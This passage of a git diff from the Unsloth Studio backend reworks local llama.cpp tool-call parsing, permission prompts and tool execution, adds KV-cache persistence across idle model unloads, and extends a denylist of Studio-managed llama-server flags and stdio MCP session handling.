+                    _safety_tc = self._parse_tool_calls_from_text(
+                        content_accum,
+                        allow_incomplete = auto_heal_tool_calls,
+                        enabled_tool_names = _enabled_tool_names,
+                    )
                     if not _safety_tc:
                         # ── Re-prompt on plan-without-action ──
                         # If the model described its intent (forward-looking
@@ -8879,8 +11361,10 @@ class LlamaCppBackend:
                             r"(?i)\brender[_\s-]?html\b",
                             _stripped,
                         )
+                        # None keeps the default-on re-prompt; False disables it.
                         if (
                             auto_heal_tool_calls
+                            and (nudge_tool_calls is None or nudge_tool_calls)
                             and active_tools
                             and not _render_html_already_done_intent
                             and _reprompt_count < _MAX_REPROMPTS
@@ -8909,12 +11393,7 @@ class LlamaCppBackend:
                             conversation.append(
                                 {
                                     "role": "user",
-                                    "content": (
-                                        "You have access to enabled tools. If a tool is needed to satisfy "
-                                        "the user's request or complete the action you described, call "
-                                        f"{tool_hint} now. If no tool is needed, provide the final answer "
-                                        "and follow the user's requested format."
-                                    ),
+                                    "content": _reprompt_to_act_message(tool_hint),
                                 }
                             )
                             # Accumulate tokens and timing from this iteration.
@@ -8946,6 +11425,12 @@ class LlamaCppBackend:
                                         "type": "content",
                                         "text": forced_visible_text,
                                     }
+                        elif not _suppress_visible_output:
+                            # Turn ended as a plain answer (no [ARGS] followed): the held
+                            # rehearsal tail is real prose, release it.
+                            _final_clean = _strip_tool_markup_streaming(cumulative_display)
+                            if len(_final_clean) > len(_last_emitted):
+                                yield {"type": "content", "text": _final_clean}
 
                         # Content was already streamed.  Yield metadata.
                         yield {"type": "status", "text": ""}
@@ -8978,10 +11463,13 @@ class LlamaCppBackend:
                             for i in sorted(tool_calls_acc)
                             if (tool_calls_acc[i].get("function", {}).get("name", "").strip())
                         ] or None
-                    if not tool_calls and any(s in content_accum for s in _tool_xml_signals):
+                    if not tool_calls:
+                        # Unconditional re-parse: we only reach DRAINING when the buffer looked like a
+                        # call, and bare-JSON / Gemma wrapper-less calls carry no XML signal to gate on.
                         tool_calls = self._parse_tool_calls_from_text(
                             content_accum,
                             allow_incomplete = auto_heal_tool_calls,
+                            enabled_tool_names = _enabled_tool_names,
                         )
                     if tool_calls and not has_structured_tc:
                         content_text = _strip_tool_markup(
@@ -8989,19 +11477,42 @@ class LlamaCppBackend:
                             final = True,
                             force = True,
                         )
+                        # ``_strip_tool_markup`` only knows XML; also drop a leading bare-JSON call so the
+                        # executed call isn't replayed as text or next-turn history.
+                        content_text = strip_leading_bare_json_call(
+                            content_text, _enabled_tool_names
+                        )
                     if tool_calls:
                         logger.info(
                             f"Parsed {len(tool_calls)} tool call(s) from "
                             f"{'structured delta' if has_structured_tc else 'content text'}"
                         )
                     if not tool_calls:
-                        # DRAINING but no tool calls (false positive). Merge
-                        # accumulated metrics from prior tool iterations so
-                        # they aren't silently dropped.
+                        # DRAINING but no tool calls (false positive): close any
+                        # provisional cards (a sniff can open one whose call never
+                        # parses); without a tool_end the card spins forever.
+                        for _pid, _pname in provisional_started_tool_calls.items():
+                            if _pid not in resolved_provisional_tool_call_ids:
+                                resolved_provisional_tool_call_ids.add(_pid)
+                                yield {
+                                    "type": "tool_end",
+                                    "tool_name": _pname,
+                                    "tool_call_id": _pid,
+                                    "result": "",
+                                    "provenance": tool_event_provenance(provisional = True),
+                                }
+                        # Merge metrics from prior tool iterations so they aren't dropped.
                         yield {"type": "status", "text": ""}
                         if content_accum:
                             # Strip leaked tool-call XML before yielding.
                             content_accum = _strip_tool_markup(content_accum, final = True)
+                        # A truncated bare-JSON call has no XML markup to strip and didn't parse. With
+                        # Auto-Heal on, drop a leading ENABLED-tool fragment (ordinary JSON answers untouched);
+                        # off keeps it visible per the strict contract.
+                        if content_accum and active_tools and auto_heal_tool_calls:
+                            content_accum = strip_leading_bare_json_call(
+                                content_accum, _enabled_tool_names
+                            )
                         if content_accum:
                             yield {"type": "content", "text": content_accum}
                         _meta = _build_metadata_event(
@@ -9019,6 +11530,29 @@ class LlamaCppBackend:
                 _accumulated_predicted_ms += _it.get("predicted_ms", 0)
                 _accumulated_predicted_n += _it.get("predicted_n", 0)
 
+                # Collapse exact-duplicate calls and cap the count for the TEXTUAL
+                # fallback (mirrors the safetensors loop; see _MAX_TOOL_CALLS_PER_TURN).
+                if tool_calls and not has_structured_tc and len(tool_calls) > 1:
+                    _seen_keys: set = set()
+                    _deduped: list = []
+                    for _tc in tool_calls:
+                        _fn = _tc.get("function", {}) or {}
+                        _key = (_fn.get("name", ""), str(_fn.get("arguments", "")))
+                        if _key in _seen_keys:
+                            continue
+                        _seen_keys.add(_key)
+                        _deduped.append(_tc)
+                        if len(_deduped) >= _MAX_TOOL_CALLS_PER_TURN:
+                            break
+                    if len(_deduped) != len(tool_calls):
+                        logger.info(
+                            "GGUF textual fallback: collapsed %d repeated tool call(s) "
+                            "in one turn to %d",
+                            len(tool_calls),
+                            len(_deduped),
+                        )
+                    tool_calls = _deduped
+
                 # disable_parallel_tool_use: execute only the first tool call
                 # this turn. Truncate before building assistant_msg so the
                 # conversation stays consistent and extra calls are never executed.
@@ -9027,10 +11561,26 @@ class LlamaCppBackend:
 
                 assistant_msg: dict = {"role": "assistant", "content": content_text}
                 assistant_appended = False
+                # Collect no-op nudges and flush them after the batch, so a no-op
+                # doesn't abort it and drop the parallel calls that follow.
+                deferred_noop_msgs: list = []
+
+                # The text-path provisional card uses the parser's default id ("call_0");
+                # a Mistral-style call carries its own id and would open a duplicate. Reuse
+                # the card's id for the first matching call (same tool name) to reconcile.
+                _text_provisional_id = _text_args_id if not has_structured_tc else ""
 
                 for tc in tool_calls or []:
                     func = tc.get("function", {})
                     tool_name = func.get("name", "")
+                    if (
+                        _text_provisional_id
+                        and _text_provisional_id in provisional_started_tool_calls
+                        and _text_provisional_id not in resolved_provisional_tool_call_ids
+                        and tc.get("id") not in provisional_started_tool_calls
+                        and provisional_started_tool_calls[_text_provisional_id] == tool_name
+                    ):
+                        tc = {**tc, "id": _text_provisional_id}
                     provisional_match = tc.get("id") in provisional_started_tool_calls
                     decision = tool_controller.prepare_call(
                         tc,
@@ -9056,14 +11606,14 @@ class LlamaCppBackend:
                                 "provenance": decision.provenance,
                             }
                         completion = tool_controller.record_noop(decision)
-                        conversation.append(completion.model_message())
+                        deferred_noop_msgs.append(completion.model_message())
                         if _forced_tool_call_pending:
                             _forced_tool_call_pending = False
                         logger.info(
                             "Suppressed local GGUF tool call as internal no-op: "
                             f"action={decision.action} tool={decision.tool_name}"
                         )
-                        break
+                        continue
 
                     if not assistant_appended:
                         assistant_msg["tool_calls"] = [decision.as_assistant_tool_call()]
@@ -9076,7 +11626,18 @@ class LlamaCppBackend:
 
                     # Bypass wins over the confirm gate at the loop level too,
                     # so a direct internal caller with both flags never prompts.
-                    needs_confirm = bool(confirm_tool_calls) and not bypass_permissions
+                    # In "auto" mode only calls detected as potentially unsafe
+                    # pause; read-only calls run straight through. "off" never
+                    # prompts (sandbox stays on).
+                    needs_confirm = (
+                        bool(confirm_tool_calls)
+                        and not bypass_permissions
+                        and permission_mode != "off"
+                    )
+                    if needs_confirm and permission_mode == "auto":
+                        needs_confirm = is_potentially_unsafe_tool_call(
+                            decision.tool_name, decision.arguments
+                        )
                     approval_id = new_approval_id() if needs_confirm else ""
                     decision_slot = (
                         begin_tool_decision(session_id, approval_id) if needs_confirm else None
@@ -9131,25 +11692,48 @@ class LlamaCppBackend:
                     ):
                         result = RAG_SEARCH_CAP_NUDGE
                     else:
-                        result = execute_tool(
-                            decision.tool_name,
-                            decision.arguments,
+                        # Execute in a worker thread so live stdout chunks and heartbeats
+                        # stream while the tool blocks (the SSE route turns heartbeats into
+                        # keepalives). Result is byte-identical to a direct call.
+                        def _invoke_tool(_output_callback, _decision = decision):
+                            # execute_tool is injectable and may be monkey-patched with the
+                            # pre-PR signature; forward output_callback only if it's accepted.
+                            kwargs = dict(
+                                cancel_event = cancel_event,
+                                timeout = _effective_timeout,
+                                session_id = session_id,
+                                thread_id = thread_id,
+                                rag_scope = rag_scope,
+                                disable_sandbox = bypass_permissions,
+                            )
+                            if accepts_output_callback(execute_tool):
+                                kwargs["output_callback"] = _output_callback
+                            return execute_tool(
+                                _decision.tool_name,
+                                _decision.arguments,
+                                **kwargs,
+                            )
+
+                        result = yield from stream_tool_execution(
+                            _invoke_tool,
+                            tool_name = decision.tool_name,
+                            tool_call_id = decision.tool_call_id,
                             cancel_event = cancel_event,
-                            timeout = _effective_timeout,
-                            session_id = session_id,
-                            rag_scope = rag_scope,
-                            disable_sandbox = bypass_permissions,
                         )
                         if decision.tool_name == "search_knowledge_base":
                             _kb_search_count += 1
                     completion = tool_controller.record_result(decision, result)
                     resolved_provisional_tool_call_ids.add(decision.tool_call_id)
+                    # A tool ran this turn, so it counts against the caller's budget.
+                    _turn_executed_real_tool = True
                     yield completion.tool_end_event()
                     conversation.append(completion.tool_message())
 
                     if _forced_tool_call_pending:
                         _forced_tool_call_pending = False
 
+                append_deferred_nudges(conversation, deferred_noop_msgs)
+
                 # Close provisional cards not resolved by execution/no-op handling.
                 for _pid, _pname in provisional_started_tool_calls.items():
                     if _pid not in resolved_provisional_tool_call_ids:
@@ -9167,8 +11751,16 @@ class LlamaCppBackend:
                 if tool_controller.force_final_answer or not tool_controller.active_tools():
                     _append_budget_exhausted_nudge = False
                     break
+                # Count only real tool turns against the cap so reserved re-prompt slots can't become
+                # extra tool rounds; a no-op correction turn doesn't consume budget (GGUF parity).
+                if _turn_executed_real_tool:
+                    _tool_iters_done += 1
+                    if _tool_iters_done >= max_tool_iterations:
+                        break
                 continue
 
+            except _LlamaStreamCancelled:
+                return
             except httpx.ConnectError:
                 # Mark unresolved provisional cards as failed before raising.
                 for _pid, _pname in provisional_started_tool_calls.items():
@@ -9351,6 +11943,8 @@ class LlamaCppBackend:
                 if _meta is not None:
                     yield _meta
 
+        except _LlamaStreamCancelled:
+            return
         except httpx.ConnectError:
             raise RuntimeError("Lost connection to llama-server")
         except Exception as e:
diff --git a/studio/backend/core/inference/llama_keepwarm.py b/studio/backend/core/inference/llama_keepwarm.py
index 4ce663c3ce..3380ebf5f5 100644
--- a/studio/backend/core/inference/llama_keepwarm.py
+++ b/studio/backend/core/inference/llama_keepwarm.py
@@ -15,6 +15,7 @@ import asyncio
 import contextlib
 import threading
 import time
+from pathlib import Path
 
 from loggers import get_logger
 
@@ -30,6 +31,8 @@ _last_active = time.monotonic()
 # otherwise 503 against an empty backend can reload it (set on unload, cleared on
 # reload). Storing the quant means the reload restores the exact freed variant.
 _last_unloaded_model = None
+# Slot KV manifest saved by the idle unload; whoever pops it owns deleting its files.
+_kv_resume = None
 # Guards inflight bumps against the idle-check-then-unload race, and blocks new
 # inference from starting mid-swap. Process-wide, not per-loop: the backend slot is
 # shared across every event loop in the process, so a per-loop gate would let a
@@ -59,7 +62,7 @@ _INFERENCE_SUFFIXES = (
     "/messages/count_tokens",  # counts via the loaded tokenizer; protect like /messages
     "/embeddings",
     "/responses",
-    "/generate/stream",  # Studio's own streaming route on the same llama-server
+    "/generate/stream",  # Unsloth's own streaming route on the same llama-server
     "/audio/generate",  # direct GGUF TTS; can outlive the idle TTL
 )
 
@@ -161,11 +164,17 @@ def inference_lifecycle_gate():
     return _unload_gate()
 
 
-def note_model_loaded() -> None:
-    """Record a successful GGUF load: stamp activity and drop any reload stash so
-    a manual load clears it synchronously, not only on the next idle poll."""
+def note_model_loaded(backend = None) -> None:
+    """Stamp activity and synchronously drop any reload stash."""
     _note_activity()
+    resume = take_kv_resume()
     _set_last_unloaded(None)
+    if resume is None:
+        return
+    if backend is not None:
+        restore_kv_resume(backend, resume)
+    else:
+        _delete_resume_files(resume)
 
 
 def note_model_unloaded() -> None:
@@ -182,9 +191,81 @@ def get_last_unloaded_model():
 
 
 def _set_last_unloaded(value) -> None:
-    global _last_unloaded_model
+    global _last_unloaded_model, _kv_resume
+    stale = None
     with _lock:
         _last_unloaded_model = value
+        if value is None and _kv_resume is not None:
+            stale, _kv_resume = _kv_resume, None
+    if stale:
+        _delete_resume_files(stale)
+
+
+def _delete_resume_files(manifest) -> None:
+    try:
+        base = Path(manifest.get("dir") or "")
+        for entry in manifest.get("slots") or []:
+            with contextlib.suppress(OSError):
+                (base / str(entry.get("filename"))).unlink()
+    except Exception:
+        pass
+
+
+def _set_kv_resume(value) -> None:
+    global _kv_resume
+    stale = None
+    with _lock:
+        if _kv_resume is not None and _kv_resume is not value:
+            stale = _kv_resume
+        _kv_resume = value
+    if stale:
+        _delete_resume_files(stale)
+
+
+def take_kv_resume():
+    global _kv_resume
+    with _lock:
+        manifest, _kv_resume = _kv_resume, None
+        return manifest
+
+
+def purge_kv_resume() -> None:
+    resume = take_kv_resume()
+    if resume:
+        _delete_resume_files(resume)
+
+
+def restore_kv_resume(backend, manifest) -> None:
+    try:
+        gguf = manifest.get("gguf")
+        binary = manifest.get("binary")
+        current = getattr(backend, "_gguf_path", None)
+        same_gguf = bool(gguf and current) and Path(current).resolve() == Path(gguf).resolve()
+        if same_gguf:
+            # Same path is not enough: shards may have been rewritten meanwhile.
+            identity = getattr(backend, "_gguf_file_identity", None)
+            same_gguf = callable(identity) and identity(current) == manifest.get("gguf_stat")
+        if same_gguf:
+            # Nor the same file: launch overrides can invalidate KV numerics.
+            fingerprint = getattr(backend, "_slot_launch_fingerprint", None)
+            same_gguf = callable(fingerprint) and manifest.get("launch") == fingerprint()
+        if same_gguf and binary and binary == getattr(backend, "_slot_save_binary", None):
+            logger.info("Restoring saved slot KV onto the reloaded model")
+            backend.restore_slots_for_resume(manifest)
+    except Exception as exc:
+        logger.debug("slot restore after reload failed: %s", exc)
+    finally:
+        _delete_resume_files(manifest)
+
+
+def sweep_slot_save_dir() -> None:
+    try:
+        from utils.paths.storage_roots import llama_slot_cache_root
+        for path in llama_slot_cache_root().glob("resume-*.bin"):
+            with contextlib.suppress(OSError):
+                path.unlink()
+    except Exception:
+        pass
 
 
 class LlamaKeepWarmMiddleware:
@@ -266,7 +347,10 @@ def _loaded_identity(backend):
 
 async def idle_unload_loop(poll_seconds: float = 15.0) -> None:
     """Unload the loaded GGUF once idle past the configured TTL. Inert when off."""
-    from utils.openai_auto_switch_settings import get_auto_unload_idle_seconds
+    from utils.openai_auto_switch_settings import (
+        get_auto_unload_idle_seconds,
+        get_auto_unload_keep_kv,
+    )
 
     seen_model = None
     while True:
@@ -281,17 +365,47 @@ async def idle_unload_loop(poll_seconds: float = 15.0) -> None:
             # Track by (id, variant): a (re)loaded model -- including the same repo
             # at a different quant -- counts as activity so it survives one TTL
             # before its first request (loads bypass the activity middleware).
-            current = _loaded_identity(backend)
-            if current != seen_model:
-                seen_model = current
-                if current is not None:
-                    _note_activity()
-                    _set_last_unloaded(None)  # a model is loaded; drop stale stash
             async with _unload_gate():
+                # Purging the stash mid-reload would race the restore.
+                current = _loaded_identity(backend)
+                if current != seen_model:
+                    seen_model = current
+                    if current is not None:
+                        _note_activity()
+                        _set_last_unloaded(None)  # a model is loaded; drop stale stash
                 if backend.is_loaded and _is_idle(ttl):
                     freed = _loaded_identity(backend)
-                    await asyncio.to_thread(backend.unload_model)
+                    manifest = None
+                    if get_auto_unload_keep_kv():
+                        try:
+                            manifest = await asyncio.to_thread(
+                                backend.save_slots_for_resume,
+                                lambda: not _is_idle(ttl),
+                            )
+                        except Exception as exc:
+                            logger.debug("slot save before idle unload failed: %s", exc)
+                    # Re-read settings: the save can outlive a settings change.
+                    ttl = get_auto_unload_idle_seconds()
+                    if ttl <= 0 or not _is_idle(ttl):
+                        if manifest:
+                            _delete_resume_files(manifest)
+                        continue
+                    if manifest and not get_auto_unload_keep_kv():
+                        _delete_resume_files(manifest)
+                        manifest = None
+                    try:
+                        await asyncio.to_thread(backend.unload_model)
+                    except Exception:
+                        # Failed unload means nothing will stash the manifest.
+                        if manifest:
+                            _delete_resume_files(manifest)
+                        raise
                     _set_last_unloaded(freed)  # let an alias request reload it
+                    if manifest and freed:
+                        _set_kv_resume({"identity": freed, **manifest})
+                        logger.info("Idle auto-unload: saved slot KV for restore on reload")
+                    elif manifest:
+                        _delete_resume_files(manifest)
                     logger.info("Idle auto-unload: freed GGUF after %ss idle", ttl)
                     seen_model = None
         except Exception as exc:
diff --git a/studio/backend/core/inference/llama_server_args.py b/studio/backend/core/inference/llama_server_args.py
index f400d2ae40..7b42d2f40d 100644
--- a/studio/backend/core/inference/llama_server_args.py
+++ b/studio/backend/core/inference/llama_server_args.py
@@ -3,10 +3,10 @@
 
 """Boundary validator for user-supplied llama-server pass-through args.
 
-Reject only flags Studio manages (model identity, auth, network, parallel
+Reject only flags Unsloth manages (model identity, auth, network, parallel
 slots). Everything else (sampling, ``-c``, ``-ngl``, ``--flash-attn``,
 ``--cache-type-*``, ``--spec-*``, ``--jinja``, ...) is appended after
-Studio's auto-set flags so llama.cpp's last-wins parser lets the user override.
+Unsloth's auto-set flags so llama.cpp's last-wins parser lets the user override.
 
 Ref: https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md
 """
@@ -22,12 +22,12 @@ _DENYLIST_GROUPS: tuple[frozenset[str], ...] = (
     # Parallel slots: owned by typer --parallel; a pass-through would desync
     # app.state.llama_parallel_slots from llama-server.
     frozenset({"-np", "--parallel", "--n-parallel"}),
-    # Model identity: Studio resolves it from LoadRequest; a second -m would
-    # load a different model than Studio thinks it loaded.
+    # Model identity: Unsloth resolves it from LoadRequest; a second -m would
+    # load a different model than Unsloth thinks it loaded.
     frozenset({"-m", "--model"}),
-    # Public model id: Studio sets a sanitized --alias so the OpenAI API never
+    # Public model id: Unsloth sets a sanitized --alias so the OpenAI API never
     # exposes the local .gguf path. A user-supplied alias is appended after
-    # Studio's and, with llama.cpp's last-wins parsing, would reintroduce the
+    # Unsloth's and, with llama.cpp's last-wins parsing, would reintroduce the
     # path leak this is meant to prevent.
     frozenset({"-a", "--alias"}),
     frozenset({"-mu", "--model-url"}),
@@ -39,14 +39,14 @@ _DENYLIST_GROUPS: tuple[frozenset[str], ...] = (
     frozenset({"-hft", "--hf-token"}),
     frozenset({"-mm", "--mmproj"}),
     frozenset({"-mmu", "--mmproj-url"}),
-    # Networking: Studio binds + proxies; retargeting orphans the proxy.
+    # Networking: Unsloth binds + proxies; retargeting orphans the proxy.
     frozenset({"--host"}),
     frozenset({"--port"}),
     frozenset({"--path"}),
     frozenset({"--api-prefix"}),
     frozenset({"--reuse-port"}),
-    # Auth / TLS: Studio terminates auth; upstream --api-key / TLS shadows
-    # Studio's key and breaks the proxy hop.
+    # Auth / TLS: Unsloth terminates auth; upstream --api-key / TLS shadows
+    # Unsloth's key and breaks the proxy hop.
     frozenset({"--api-key"}),
     frozenset({"--api-key-file"}),
     frozenset({"--ssl-key-file"}),
@@ -64,12 +64,14 @@ _DENYLIST_GROUPS: tuple[frozenset[str], ...] = (
     frozenset({"--models-max"}),
     frozenset({"--models-autoload", "--no-models-autoload"}),
     # Server-mode flips: --embedding / --rerank restrict llama-server to
-    # those endpoints, breaking Studio's /v1/chat/completions hop.
+    # those endpoints, breaking Unsloth's /v1/chat/completions hop.
     frozenset({"--embedding", "--embeddings"}),
     frozenset({"--rerank", "--reranking"}),
     # llama-server's own built-in tools flag would silently stack on top of
-    # Studio's --enable-tools / --disable-tools policy resolver.
+    # Unsloth's --enable-tools / --disable-tools policy resolver.
     frozenset({"--tools"}),
+    # Slot-state dir: Studio owns it for KV persistence across idle unload.
+    frozenset({"--slot-save-path"}),
 )
 
 _DENYLIST: frozenset[str] = frozenset().union(*_DENYLIST_GROUPS)
@@ -120,7 +122,7 @@ def validate_extra_args(args: Optional[Iterable[str]]) -> list[str]:
 
 
 def is_managed_flag(flag: str) -> bool:
-    """True if ``flag`` is Studio-managed. Normalises via ``_flag_name`` so
+    """True if ``flag`` is Unsloth-managed. Normalises via ``_flag_name`` so
     `-np8` / `--parallel=8` classify like the canonical tokens."""
     normalised = _flag_name(flag)
     return normalised is not None and normalised in _DENYLIST
@@ -142,7 +144,7 @@ _SPEC_FLAGS: frozenset[str] = frozenset(
         "--draft-min",
         "--draft-max",
         # MTP path (llama.cpp #22673). The drafter selectors (local --model-draft
-        # and HF --spec-draft-hf aliases) are Studio-managed since the separate-
+        # and HF --spec-draft-hf aliases) are Unsloth-managed since the separate-
         # drafter support (Gemma 4): an inherited copy must not last-wins-override
         # the auto-detected drafter. Explicit extras for the current load are never
         # stripped. The per-drafter tuning knobs (--spec-draft-type-*, -ngld,
@@ -179,25 +181,38 @@ _TEMPLATE_FLAGS: frozenset[str] = frozenset(
 # (--split-mode tensor). Pass-through stays allowed so users keep the
 # row/none/layer modes the toggle doesn't expose, but it's stripped on
 # inherit and reconciled into the round-tripped tensor_parallel state.
-# --tensor-split is coupled to the split mode and is stripped with it: Studio
+# --tensor-split is coupled to the split mode and is stripped with it: Unsloth
 # owns the tensor-mode split ratios, so an inherited/stale --tensor-split must
-# not last-wins-override Studio's computed asymmetric split.
+# not last-wins-override Unsloth's computed asymmetric split.
 _SPLIT_MODE_FLAGS: frozenset[str] = frozenset({"-sm", "--split-mode"})
 _TENSOR_SPLIT_FLAGS: frozenset[str] = frozenset({"-ts", "--tensor-split"})
 _SPLIT_SHADOWING_FLAGS: frozenset[str] = _SPLIT_MODE_FLAGS | _TENSOR_SPLIT_FLAGS
 
+# GPU-offload flags. Stripped only when the GPU Memory mode owns offload
+# (manual emits --fit / --gpu-layers / --n-cpu-moe); in auto, a user's
+# inherited -ngl is respected (the offload_overridden path), so this group is
+# opt-in, not default. Layer flags are shared with llama_cpp's override
+# detection; the MoE flags are strip-only (manual's --n-cpu-moe slider owns them).
+_LAYER_OFFLOAD_FLAGS: frozenset[str] = frozenset(
+    {"-ngl", "--gpu-layers", "--n-gpu-layers", "-fit", "--fit"}
+)
+_MOE_OFFLOAD_FLAGS: frozenset[str] = frozenset({"-ncmoe", "--n-cpu-moe", "-cmoe", "--cpu-moe"})
+_OFFLOAD_SHADOWING_FLAGS: frozenset[str] = _LAYER_OFFLOAD_FLAGS | _MOE_OFFLOAD_FLAGS
+
 _SHADOWING_FLAGS: frozenset[str] = (
     _CONTEXT_FLAGS | _CACHE_FLAGS | _SPEC_FLAGS | _TEMPLATE_FLAGS | _SPLIT_SHADOWING_FLAGS
 )
 
 # Shadowing flags that take no value -- strip the flag only, not the next token.
-_BOOLEAN_SHADOWING_FLAGS: frozenset[str] = frozenset({"--spec-default", "--jinja", "--no-jinja"})
+_BOOLEAN_SHADOWING_FLAGS: frozenset[str] = frozenset(
+    {"--spec-default", "--jinja", "--no-jinja", "-cmoe", "--cpu-moe"}
+)
 
 
 def parse_ctx_override(args: Optional[Iterable[str]]) -> Optional[int]:
     """Return the last user-supplied ``-c`` / ``--ctx-size`` value.
 
-    Mirrors llama.cpp's last-wins parsing for the one numeric knob Studio's
+    Mirrors llama.cpp's last-wins parsing for the one numeric knob Unsloth's
     load-time fit logic needs.
     """
     if not args:
@@ -286,7 +301,7 @@ def parse_cache_override(args: Optional[Iterable[str]]) -> Optional[str]:
     Mirrors parse_ctx_override but for cache type. Recognises both -ctk
     (key) and -ctv (value). When both flags appear, returns the last-wins
     value, treating key and value cache flags as the same setting because
-    Studio's KV estimate has a single cache_type_kv knob.
+    Unsloth's KV estimate has a single cache_type_kv knob.
     """
     return _last_flag_value(args, _CACHE_FLAGS)
 
@@ -341,7 +356,7 @@ def resolve_tensor_parallel(args: Optional[Iterable[str]], fallback_tensor_paral
 
 
 def _env_split_mode_is_tensor(env: Optional[Mapping[str, str]] = None) -> bool:
-    """True when the inherited LLAMA_ARG_SPLIT_MODE env selects tensor. Studio
+    """True when the inherited LLAMA_ARG_SPLIT_MODE env selects tensor. Unsloth
     emits --split-mode only on its tensor branch, so a tensor env on the layer
     path would run the child tensor-parallel unbudgeted; this flips the budget
     to tensor. Only tensor is heavier, so other modes are ignored."""
@@ -424,14 +439,22 @@ def strip_shadowing_flags(
     strip_spec: bool = True,
     strip_template: bool = True,
     strip_split_mode: bool = True,
+    strip_tensor_split: bool = False,
+    strip_offload: bool = False,
 ) -> list[str]:
-    """Strip flags that shadow first-class Studio settings.
+    """Strip flags that shadow first-class Unsloth settings.
 
     Used when inheriting a previous load's ``llama_extra_args`` so an
     inherited `-c 4096` can't override the current `max_seq_length`
     (same for cache / spec / template / split-mode). Each ``strip_*``
     toggle controls one group; the route only strips groups whose
     first-class field the caller actually supplied.
+
+    ``strip_split_mode`` removes both ``--split-mode`` and the coupled
+    ``--tensor-split`` (the Tensor Parallelism toggle owns the whole split).
+    ``strip_tensor_split`` removes ``--tensor-split`` *alone*, so manual mode can
+    replace an inherited per-GPU ratio while leaving the user's ``--split-mode``
+    row/none/layer choice intact.
     """
     shadowing: set[str] = set()
     if strip_context:
@@ -444,6 +467,10 @@ def strip_shadowing_flags(
         shadowing |= _TEMPLATE_FLAGS
     if strip_split_mode:
         shadowing |= _SPLIT_SHADOWING_FLAGS
+    if strip_tensor_split:
+        shadowing |= _TENSOR_SPLIT_FLAGS
+    if strip_offload:
+        shadowing |= _OFFLOAD_SHADOWING_FLAGS
 
     tokens = [str(a) for a in (args or [])]
     out: list[str] = []
diff --git a/studio/backend/core/inference/llama_stats.py b/studio/backend/core/inference/llama_stats.py
index 6047aedbc0..ab0d287e8c 100644
--- a/studio/backend/core/inference/llama_stats.py
+++ b/studio/backend/core/inference/llama_stats.py
@@ -5,7 +5,7 @@
 engine-stats log line (generation/prompt throughput, requests in flight).
 
 llama-server already computes these (it needs `--metrics`); this lifts them
-into Studio's structured log so the terminal shows serving health, not just
+into Unsloth's structured log so the terminal shows serving health, not just
 per-request access lines. Emitted only while there is activity.
 """
 
diff --git a/studio/backend/core/inference/local_model_resolver.py b/studio/backend/core/inference/local_model_resolver.py
index 002cafe2c8..9e3eaeda3f 100644
--- a/studio/backend/core/inference/local_model_resolver.py
+++ b/studio/backend/core/inference/local_model_resolver.py
@@ -130,7 +130,7 @@ def info_has_local_gguf(info) -> bool:
 def _build_index() -> dict[str, _LocalGgufEntry]:
     """Map normalized id/model_id/display_name -> local GGUF entry.
 
-    Scans the same roots Studio's model picker lists (./models, the active plus
+    Scans the same roots Unsloth's model picker lists (./models, the active plus
     legacy/default HF caches, LM Studio dirs, and user scan folders) so a named
     local model is never missed and silently served as the loaded one. Ollama's
     scanner is skipped: it creates symlinks as a side effect and this runs on the
@@ -146,6 +146,7 @@ def _build_index() -> dict[str, _LocalGgufEntry]:
         _is_hidden_model,
     )
     from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir, lmstudio_model_dirs
+    from utils.hf_cache_settings import known_hf_hub_caches
 
     index: dict[str, _LocalGgufEntry] = {}
     seen_hf: set[str] = set()
@@ -174,7 +175,12 @@ def _build_index() -> dict[str, _LocalGgufEntry]:
     except Exception as exc:
         logger.debug("auto-switch: ./models scan failed: %s", exc)
     try:
-        for hf_dir in (_resolve_hf_cache_dir(), legacy_hf_cache_dir(), hf_default_cache_dir()):
+        for hf_dir in (
+            *known_hf_hub_caches(),
+            _resolve_hf_cache_dir(),
+            legacy_hf_cache_dir(),
+            hf_default_cache_dir(),
+        ):
             found += _scan_hf_once(hf_dir)
     except Exception as exc:
         logger.debug("auto-switch: HF cache scan failed: %s", exc)
@@ -199,9 +205,13 @@ def _build_index() -> dict[str, _LocalGgufEntry]:
         raw_id = getattr(info, "id", None)
         if not raw_id:
             continue
-        # Skip what Studio hides from its pickers (validation probe, RAG embed
+        # Skip what Unsloth hides from its pickers (validation probe, RAG embed
         # weights): not chat models, so never an auto-switch target.
-        if _is_hidden_model(raw_id, getattr(info, "path", None)):
+        if _is_hidden_model(
+            raw_id,
+            getattr(info, "model_id", None),
+            getattr(info, "path", None),
+        ):
             continue
         # Advertise a client-facing alias, not an absolute filesystem path.
         loader_id = _advertised_loader_id(info)
diff --git a/studio/backend/core/inference/mcp_client.py b/studio/backend/core/inference/mcp_client.py
index 7bd4a7d6e9..0256df944e 100644
--- a/studio/backend/core/inference/mcp_client.py
+++ b/studio/backend/core/inference/mcp_client.py
@@ -4,11 +4,16 @@
 from __future__ import annotations
 
 import asyncio
+import atexit
+import concurrent.futures
+import hashlib
 import json
 import os
 import shlex
 import sys
+import threading
 import time
+import uuid
 from typing import Any, Optional
 
 from loggers import get_logger
@@ -115,6 +120,18 @@ def join_stdio_command(parts: list[str]) -> str:
     return shlex.join(parts)
 
 
+def _stdio_log_id(url: str) -> str:
+    """A non-secret label for logs. stdio commands can embed credentials in argv
+    (e.g. ``npx server --token sk-...``), so never log the raw command; use the
+    executable basename plus a short digest of the full command instead."""
+    try:
+        parts = parse_stdio_command(url)
+        exe = os.path.basename(parts[0]) if parts else "<empty>"
+    except Exception:  # noqa: BLE001
+        exe = "<invalid>"
+    return f"{exe}#{hashlib.sha256(url.encode()).hexdigest()[:12]}"
+
+
 def stdio_mcp_enabled() -> bool:
     """stdio MCP servers spawn local processes as the backend user (bypassing the
     sandbox), so allowed only when the host is the user's own machine. On startup
@@ -192,7 +209,6 @@ async def clear_oauth_tokens_async(url: str) -> None:
         auth = OAuth(mcp_url = url, token_storage = _oauth_store())
         await auth.token_storage_adapter.clear()
     except Exception as exc:  # noqa: BLE001
-        # Cleanup is best-effort; the row delete still wins.
         logger.warning("Failed to clear OAuth tokens for %s: %s", url, exc)
 
 
@@ -237,6 +253,502 @@ def _client(
     return Client(transport_cls(url = url, headers = headers or None, auth = auth))
 
 
+# Persistent stdio sessions: a stdio MCP server owns live state (a browser, a
+# DB handle), so keep one connected client per (command, env, chat session) on
+# a dedicated event-loop thread instead of respawning per call.
+
+_STDIO_SESSION_IDLE_TTL = 300.0
+_STDIO_SESSION_REAP_INTERVAL = 30.0
+_STDIO_CONNECT_TIMEOUT = 60.0  # allows first-run `npx -y ...` package download
